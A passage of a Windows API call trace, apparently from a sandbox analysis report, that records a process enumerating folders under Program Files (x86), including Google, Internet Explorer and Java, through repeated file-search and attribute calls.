lpBuffer="C:\\Program Files (x86)\\Google", lpFilePart=0x0) returned 0x1d [0081.990] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe95d8 [0081.991] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.991] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.991] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.991] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.991] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0081.991] FindClose (in: hFindFile=0x6fe95d8 | out: hFindFile=0x6fe95d8) returned 1 [0081.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0081.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0081.991] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Internet Explorer", lpFilePart=0x0) returned 0x28 [0081.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0081.991] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer" (normalized: "c:\\program files (x86)\\internet explorer"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0081.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0081.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0081.991] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Internet Explorer", lpFilePart=0x0) returned 0x28 [0081.991] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe95d8 [0081.992] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.992] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.992] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.992] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.992] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.992] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.992] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.992] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.992] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.992] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.992] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.993] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.993] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.993] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.993] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.993] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.993] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.993] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.993] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.993] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.993] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0081.993] FindClose (in: hFindFile=0x6fe95d8 | out: hFindFile=0x6fe95d8) returned 1 [0081.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0081.994] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0081.994] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Internet Explorer\\en-US", lpFilePart=0x0) returned 0x2e [0081.994] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0081.994] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US" (normalized: "c:\\program files (x86)\\internet explorer\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0081.994] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0081.994] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0081.994] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Internet Explorer\\en-US", lpFilePart=0x0) returned 0x2e [0081.994] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fe95d8 [0081.994] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0081.994] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0081.994] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0081.994] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0081.994] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0081.994] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0081.994] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0081.995] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0081.995] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0081.995] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0081.995] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0081.995] FindClose (in: hFindFile=0x6fe95d8 | out: hFindFile=0x6fe95d8) returned 1 [0081.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0081.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0081.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0081.995] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Internet Explorer\\en-US", lpFilePart=0x0) returned 0x2e [0081.995] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fe95d8 [0081.995] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0081.995] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0081.995] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0081.995] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0081.996] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0081.996] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0081.996] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0081.996] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0081.996] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0081.996] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0081.996] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0081.996] FindClose (in: hFindFile=0x6fe95d8 | out: hFindFile=0x6fe95d8) returned 1 [0081.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0081.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0081.996] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP", lpFilePart=0x0) returned 0x2f [0081.996] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0081.996] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP" (normalized: "c:\\program files (x86)\\internet explorer\\signup"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9bb8508b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9bb8508b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0081.996] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0081.996] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP", lpFilePart=0x0) returned 0x2f [0081.997] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fe95d8 [0081.997] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0081.997] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0081.997] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0081.997] FindClose (in: hFindFile=0x6fe95d8 | out: hFindFile=0x6fe95d8) returned 1 [0081.997] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0081.997] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0081.997] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0081.997] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP", lpFilePart=0x0) returned 0x2f [0081.997] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fe95d8 [0081.997] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0081.997] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0081.997] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0081.997] FindClose (in: hFindFile=0x6fe95d8 | out: hFindFile=0x6fe95d8) returned 1 [0081.998] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0081.998] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0081.998] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0081.998] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Internet Explorer", lpFilePart=0x0) returned 0x28 [0081.998] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe95d8 [0081.998] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.998] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.998] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.998] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.998] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.998] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.998] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.998] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.998] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.998] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.999] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.999] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.999] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.999] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.999] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.999] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.999] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.999] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.999] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.999] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0081.999] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0081.999] FindClose (in: hFindFile=0x6fe95d8 | out: hFindFile=0x6fe95d8) returned 1 [0081.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0081.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0081.999] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Java", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Java", lpFilePart=0x0) returned 0x1b [0081.999] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0082.000] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java" (normalized: "c:\\program files (x86)\\java"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36961180, ftCreationTime.dwHighDateTime=0x1d2e637, ftLastAccessTime.dwLowDateTime=0xc3938320, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xc3938320, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0082.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0082.000] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Java", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Java", lpFilePart=0x0) returned 0x1b [0082.000] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe95d8 [0082.000] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0082.000] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0082.000] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0082.000] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0082.000] FindClose (in: hFindFile=0x6fe95d8 | out: hFindFile=0x6fe95d8) returned 1 [0082.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0082.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0082.000] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Java\\jre7", lpFilePart=0x0) returned 0x20 [0082.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0082.000] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7" (normalized: "c:\\program files (x86)\\java\\jre7"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36961180, ftCreationTime.dwHighDateTime=0x1d2e637, ftLastAccessTime.dwLowDateTime=0x38e6c7e0, ftLastAccessTime.dwHighDateTime=0x1d2e637, ftLastWriteTime.dwLowDateTime=0x38e6c7e0, ftLastWriteTime.dwHighDateTime=0x1d2e637, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0082.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0082.001] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Java\\jre7", lpFilePart=0x0) returned 0x20 [0082.001] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fe95d8 [0082.005] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0082.005] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0082.005] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0082.005] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0082.005] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0082.005] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0082.005] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0082.005] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0082.005] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0082.005] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0082.006] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0082.006] FindClose (in: hFindFile=0x6fe95d8 | out: hFindFile=0x6fe95d8) returned 1 [0082.006] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0082.006] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0082.006] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Java\\jre7\\bin", lpFilePart=0x0) returned 0x24 [0082.006] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0082.006] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin" (normalized: "c:\\program files (x86)\\java\\jre7\\bin"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3729a6c0, ftCreationTime.dwHighDateTime=0x1d2e637, ftLastAccessTime.dwLowDateTime=0x39d732c0, ftLastAccessTime.dwHighDateTime=0x1d2e637, ftLastWriteTime.dwLowDateTime=0x39d732c0, ftLastWriteTime.dwHighDateTime=0x1d2e637, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0082.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0082.017] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Java\\jre7\\bin", lpFilePart=0x0) returned 0x24 [0082.017] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe95d8 [0082.077] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.124] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.124] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.124] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.124] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.124] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.124] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.124] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.124] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.124] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.124] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.125] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.125] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.125] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.125] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0082.125] FindNextFileW (in: 